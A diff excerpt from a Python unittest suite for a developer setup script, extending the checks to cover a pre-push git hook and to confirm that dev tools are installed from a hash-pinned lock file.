GALAXY_STUB = """#!/bin/sh
@@ -52,7 +56,7 @@ if git config --get-all core.hooksPath >/dev/null 2>&1; then
echo "Cannot install: core.hooksPath is set" >&2
exit 1
fi
for h in pre-commit commit-msg; do
for h in pre-commit commit-msg pre-push; do
f="$(git rev-parse --path-format=absolute --git-path "hooks/$h")"
mkdir -p "$(dirname "$f")"
printf '#!/usr/bin/env bash\\necho "hook-ran"\\necho "$PATH"\\n' > "$f"
@@ -110,6 +114,7 @@ class DevSetupTest(unittest.TestCase):
(repo / "scripts").mkdir(parents=True)
shutil.copy(SCRIPT, repo / "scripts" / "dev-setup.sh")
(repo / "requirements-dev.txt").write_text("")
(repo / "requirements-dev.lock").write_text("")
(repo / "requirements.yml").write_text("---\ncollections: []\n")
self.git(repo, "init", "--quiet")
return repo
@@ -143,11 +148,23 @@ class DevSetupTest(unittest.TestCase):
repo = self.make_repo()
result = self.run_setup(repo)
self.assertEqual(result.returncode, 0, result.stderr)
for name in ("pre-commit", "commit-msg"):
for name in ("pre-commit", "commit-msg", "pre-push"):
text = self.hook(repo, name).read_text()
self.assertIn("# kamino-dev-setup: virtualenv first on PATH", text)
self.assertEqual(self.hooks_z(repo), b"")
def test_tools_are_installed_from_the_hashed_lock_with_its_pins(self) -> None:
repo = self.make_repo()
self.assertEqual(self.run_setup(repo).returncode, 0)
calls = (self.stubs / "pip.log").read_text().splitlines()
self.assertEqual(len(calls), 1, calls)
# --require-hashes, the lock, and the direct pins next to it (pip refuses a disagreement).
self.assertIn("--require-hashes", calls[0].split())
self.assertTrue(
calls[0].endswith("-r requirements-dev.lock -r requirements-dev.txt"),
calls[0],
)
def galaxy_calls(self) -> list[str]:
return (self.stubs / "galaxy.log").read_text().splitlines()